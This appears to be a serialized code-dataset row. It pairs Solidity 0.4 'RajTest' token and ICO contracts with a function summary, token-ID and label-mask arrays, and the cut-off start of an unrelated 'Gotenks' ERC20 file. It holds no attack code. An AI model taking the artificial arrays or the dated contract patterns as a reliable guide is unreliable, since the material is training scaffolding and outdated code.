-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract RajTest is owned {
// Public variables of the token
string public name = "RajTest";
string public symbol = "RT";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint256 public sellPrice = 1045;
uint256 public buyPrice = 1045;
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public crowdsaleAgent;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function RajTest() public {
}
modifier canTransfer() {
require(released);
_;
}
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) canTransfer public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
/// @dev Set the contract that can call release and make the token transferable.
/// @param _crowdsaleAgent crowdsale contract address
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public {
crowdsaleAgent = _crowdsaleAgent;
}
}
contract Killable is owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
contract RajTestICO is owned, Killable {
/// The token we are selling
RajTest public token;
/// Current State Name
string public state = "Pre ICO";
/// the UNIX timestamp start date of the crowdsale
uint public startsAt = 1521709200;
/// the UNIX timestamp end date of the crowdsale
uint public endsAt = 1521711000;
/// the price of token
uint256 public TokenPerETH = 1045;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint public tokensSold = 0;
/// the number of ETH raised through this contract
uint public weiRaised = 0;
/// How many distinct addresses have invested
uint public investorCount = 0;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// How much tokens this crowdsale has credited for each investor address
mapping (address => uint256) public tokenAmountOf;
/// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
/// Crowdsale end time has been changed
event EndsAtChanged(uint endsAt);
/// Calculated new price
event RateChanged(uint oldValue, uint newValue);
function RajTestICO(address _token) {
token = RajTest(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
tokenAmountOf[receiver] += tokensAmount;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Tell us invest was success
Invested(receiver, msg.value, tokensAmount);
token.mintToken(receiver, tokensAmount);
}
function buy() public payable {
investInternal(msg.sender);
}
function() payable {
buy();
}
function setEndsAt(uint time) onlyOwner {
require(!finalized);
endsAt = time;
EndsAtChanged(endsAt);
}
function setRate(uint value) onlyOwner {
require(!finalized);
require(value > 0);
RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize(address receiver) public onlyOwner {
require(endsAt < now);
// Finalized Pre ICO crowdsele.
finalized = true;
// Make tokens Transferable
token.releaseTokenTransfer();
// Transfer Fund to owner's address
receiver.transfer(this.balance);
}
}
|
Finalized Pre ICO crowdsele. Make tokens Transferable Transfer Fund to owner's address
|
function finalize(address receiver) public onlyOwner {
require(endsAt < now);
finalized = true;
token.releaseTokenTransfer();
receiver.transfer(this.balance);
}
| 1,297,039 |
[
1,
4625,
348,
7953,
560,
30,
225,
16269,
1235,
2962,
467,
3865,
276,
492,
72,
1786,
73,
18,
4344,
2430,
12279,
429,
12279,
478,
1074,
358,
3410,
1807,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
12409,
12,
2867,
5971,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
5839,
861,
411,
2037,
1769,
203,
3639,
727,
1235,
273,
638,
31,
203,
3639,
1147,
18,
9340,
1345,
5912,
5621,
203,
3639,
5971,
18,
13866,
12,
2211,
18,
12296,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-08
*/
/**
Gotenks is the immensely powerful result of Trunks and Goten successfully using the Fusion Dance,
and the first successful fusion dance character to be seen in the Dragon Ball series. He likes to call himself,
'The Hero of Justice'.
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
